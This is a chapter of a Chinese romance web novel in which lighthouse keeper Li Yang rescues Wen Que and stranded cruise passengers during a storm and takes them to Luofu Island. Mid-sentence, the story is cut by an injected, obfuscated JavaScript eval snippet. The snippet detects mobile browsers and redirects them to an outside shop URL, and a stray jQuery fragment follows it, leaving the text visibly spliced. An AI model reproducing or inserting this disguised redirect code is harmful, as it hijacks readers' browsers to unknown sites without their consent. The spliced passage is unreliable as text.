温确这辈子都没这么狼狈过。
四仰八叉,煤油灯也被摔得个稀巴烂,腻腻的煤油溢出糊在了她精心呵护的秀发上。睡裙被地上的积水浸了个全湿,紧紧得贴在她身上,勾勒出妙曼的曲线。
裙子打湿后有些发透,男人转头看了她一眼迅速回目光,旗杆已经被他挥到一边儿了,他背对着温确说:“还不站起来?想在雨里洗个澡吗?”
说完,把身上的外套扔到她身上,自己先进了船舱。
温确这才反应过来,脸都臊红了。目睹一切的旅客更是不敢出去,竟没一人去扶她,但嘴上却道:
“温确小姐,外面不安全你先进来吧。”
温确心理素质强大,压下慌乱后把男人的外套拢在身上走进去。外套上还有男人的温度,贴着她的肌肤仿佛也没有那么冷了。
“先生,您的手没事吧。”船舱里还亮着一盏煤油灯,温确这才看见男人的手臂被旗杆上的木刺划伤了,很是自责。
李泱的手不自在地往后缩了缩,摇摇头。
“真的很感谢你,要不是你救我,我都不知道自己会不会被砸晕……”
温确很真诚地看着他的眼睛,李泱的耳朵悄悄的红了,嘴上却满不在乎:“刚刚路过的时候看见这边亮着灯,你们什么情况?”
今晚的暴雨来势汹汹,李泱怕海上的信号灯被狂风吹走,把同事们叫醒深夜开着岛上唯一的小船出来巡视了一圈儿。
幸好他来了。
众人的神色都有些忐忑,只有被淋成落汤鸡的女人大大方方地站了出来语气镇定:“您好,我叫温确。这艘船的发动机被损坏了,求助信号也发不出去,我们只能在海上飘着,幸好被你们发现了,真的很感谢。”
女人再次道谢,她的声音很好听,态度也十分殷切。但李泱没有立即回复她,他在想那么大一群人该如何救助。
温确见对方铁着个脸,心里也有些虚,万一人家并不是附近的巡逻队而是一个普通的海飘,见这船上那么多人不想救助可怎么办?
身后的游客有些忍不住了,折腾了一晚上,他们再也不想在这艘船上了:
“这位兄弟,你就带我们离开吧!”
“对啊,这雷指不定什么时候又劈过来了,万一船沉了可怎么办……”
七嘴八舌的,温确小心观察着男人的神色,见差不多了,出声制止:“都安静。”
然又露出一个讨好的微笑:“先生,这艘船连电路都损坏了,一直呆在这里大家也不安全,您看方不方便把我们载到附近的陆地,报酬的话……”
“可以。”
李泱出声打断,他的职责之一就是巡视海面帮助遇到困难的船,只是……
“我们的船很小,可能一次载不完你们所有人。”李泱思考了一会儿,“这样吧,老人和孩子先跟着我们走,其他人等下一批。”
话刚说完,后面的人又开始躁动了起来:
“我我我……我有风湿病我要先走!”
“兄弟,我包里有两万美金你先带我走吧……”
“我要走,我上有老下有小的可不能出事了!”
人性就是如此,无事的时候你好我好大家好,当遇到危险时就撕掉伪装露出最真实的嘴脸。
李泱以为温确是这里的负责人,转过头来对她说:“你来安排,快一点儿。”
温确有些头疼,这种事情最得罪人了。不顾众人的哀求,她先让那对母子和一些老人下船,小船还有一些空位,她又让剩下的人陆陆续续的挤了进去。
最后还剩一个位置了,小船上的陈素素见她纠结突然嗤笑:“我说温确你就第二批再走吧,你可是我们的主心骨,你走了剩下的人可怎么办呀?”
温确本来就没打算先走,还在邮轮上的罗斯船长听到后眼睛一亮麻溜地挤进了最后一个位置。
但有小船上有人不满:“罗斯你身为船长没有保护好大家安全,怎么还抢一个女娃娃的位置?”
罗斯理直气壮道:“你们中国人不都讲究尊老爱幼吗?我都五十高寿了!”
大家吵吵个不停,李泱望着邮轮上目光淡淡的女人,她就站在那里仿佛下面的事情都与她无关。
众人还没决出个胜负,身后的邮轮一下子亮了起来,周棠修好了电路。
灯火通明,邮轮里的光清晰地照射到每一个角落,连周围死寂的海面都在闪闪发光。李泱这才完全看清女人的长相——
她穿了一条吊带的红丝绸睡裙,身上全被雨淋湿了,乌黑的头发紧紧得贴在她巴掌大的脸上,有种诡异般的美。而自己宽大的外套盖在她纤瘦的身上仿佛整个人都陷了进去,像一朵在暴雨中摇摇欲坠的玫瑰。
雨越来越大,李泱想说快点做决定,可嘴巴却比脑子诚实:“老周,你们先走。”
驾驶舱里的老周:“?”
李泱:“船上有点挤,我赶第二趟。”
………
“老大,我们为啥要下来啊?”石在人倚在沙发上打了个哈欠,他们的小破船虽然小,但勉强塞得下自己。
“有人在我们的管制范围出事,我们就要负责到底,老周负责前面的人,我们要在后面断后。”李泱冷声解释。
留下来的旅客就只剩温确和周棠,本来还能坐得下一个人,可周棠偏偏要留下来陪她,这会儿俩人进了厨房泡了两杯茶出来。
“辛苦了,喝杯茶提提神吧。”耳边传来一丝微热的气息,李泱下意识地看了过去。此时温确俯下身将茶水放在茶几上,他这么一转头女人的呼吸全部打到了他的脸上。
“还没仔细问过,两位怎么称呼呢?”沙发不大,她轻轻坐了下去。
身边的男人一直不说话,刚刚没来得及看,现在闲下来后温确发现对方的眼睛特别好看,很深邃,只是眼眸冰冷很有距离感,温确不动声色的往另一边坐了坐。
李泱眼神暗了暗。
石在人:“两位美女姐姐好,我叫石在人。”
石在人打破了这尴尬的气氛,老大也真是的,平时在岛上对着他们冷脸就罢了,怎么出门还摆着这副臭脸?
“这是我们老大李泱。”他胳膊肘碰了碰旁边的男人,谁知对方根本不搭理人,“他中午吃鱼被刺卡住了,嗓子疼。”
“那可真是太不幸了。”
温确语气里全是同情,可不知怎得,李泱听出了一丝幸灾乐祸。
石在人:“对了姐,你们是出来旅行吗?那艘邮轮是你们包的吗?多少钱一趟啊?”
石在人是真的好奇,他从来没有见过那么豪华的邮轮,要是他们岛上也有那么漂亮的船就好了,他愿意天天坐着船出海巡查。
“石在人。”
老大突然点名,石在人只得乖巧地闭上了嘴,但眼里的好奇藏也藏不住。
“加勒比听说过吧?我们的邮轮可是加勒比最新系列打造的价值两亿欧元的贵族邮轮。”
第一批没走的还有小学徒,罗斯船长让他留下来检查驾
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14013206|148638||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
驶室的设备,此时锁好了门出来刚好听见众人的交谈,言语之间全是骄傲。
石在人:“那质量为什么那么不好?”
小学徒:“……”
气氛微妙,温确换了个话题:“您是附近巡逻的人吗?要带我们去哪里安置呢?”
李泱:“罗浮岛。”
石在人见大家都不知道这个地方,解释了一下:“罗浮岛位于中国南海和邻国琼海的交界处,岛上有一座灯塔算是国家边界的标记处,我们是灯塔上的守护人,所以平时会住在岛上。”
“灯塔守护人?”温确还是第一次听说过这个职业呢。
“是的,灯塔有两百米高,我们在最高层观察海面,一来是观察有没有别国军队从海上进攻,二来嘛……”石在人嘿嘿笑了两声:“就是帮助你们这些在海上遇到困难的人呀。”
“你们也太厉害了吧……”温确觉得这是一个很圣神的职业。
旁边的周棠忍不住问了一句:“既然你们有一座海岛,岛上还有工作人员,为什么不发个信号弹再叫一艘船过来载我们呢?”
刚刚在电力室修电路,回来听说温确差点被砸到,周棠后怕不已,觉得他们救援的效率也太慢了。
“对不起哦,岛上的工作人员全在这儿了。”
石在人指了指自己,又指了指旁边黑脸的李泱,最后指向不知何时已经返程的老周,此时一只破旧的小船从不远处赶来,与富丽堂皇的邮轮形成鲜明的对比。
周棠被噎住,她哪里知道岛上的人会那么少,听这语气还以为自己多咄咄逼人呢。
温确却表示理解,看来罗浮岛就跟自己的工作室一样,外面听起来光鲜亮丽可成员人数一只手指头都能数清楚。
………
天快要亮了,小船在海面划过掀起阵阵波浪,海平线上浮现出一丝暖黄色的微光。
小船轻飘飘,被掀起的浪花晃动着,温确有些想吐,脸色苍白。
“给。”一只修长的手伸到了她的面前,温确看了过去,李泱拿了一瓶拧得半开的矿泉水瓶递给她。
“谢谢。”
冰冷的水咽下,划过灼热的心口,压下了胃里的难受,她好多了。
石在人瞧瞧这个看看那个的,溜进驾驶舱对着开船的老周挤眉弄眼儿地八卦着:“我们老大平时看着跟个闷葫芦似的,没想到对着漂亮女孩也忒细心了。”
声音不大,可船就那么大点儿,听得李泱额上的青筋直跳。
温确却没注意到,此时她被不远处吸引了目光,她兴奋地站了起来:“到了!”
下完雨后的海面盲雾升起,几百米外隐隐约约的浮现出一座绿色的小岛。
船靠岸,李泱先跳了下去把绳索系好,站在岸上把旅客们牵下来。他的手很大很有安全感,温确扶着他小心翼翼地踩在湿湿软软的沙滩上。
在海上飘了好些天了,隔了那么久重回陆地,总觉得走路都是轻飘飘的,像是踩在软绵绵的云朵上。
岛上装了几个集装箱,第一批到达的旅客全挤在里面躲雨,听到外头传来了响动大伙儿探出头,只见是温确几人安全到达。
“温确小姐,您终于到了,我可担心你了!”
“是啊是啊,那么久没动静真怕你们出了什么意外。”
一群人围了上来,脸上全是对她的担心,仿佛在夜里争先恐后抢位置都是错觉一样。
周棠冷哼一声:“你们那么担心刚刚怎么不留下来陪着她?”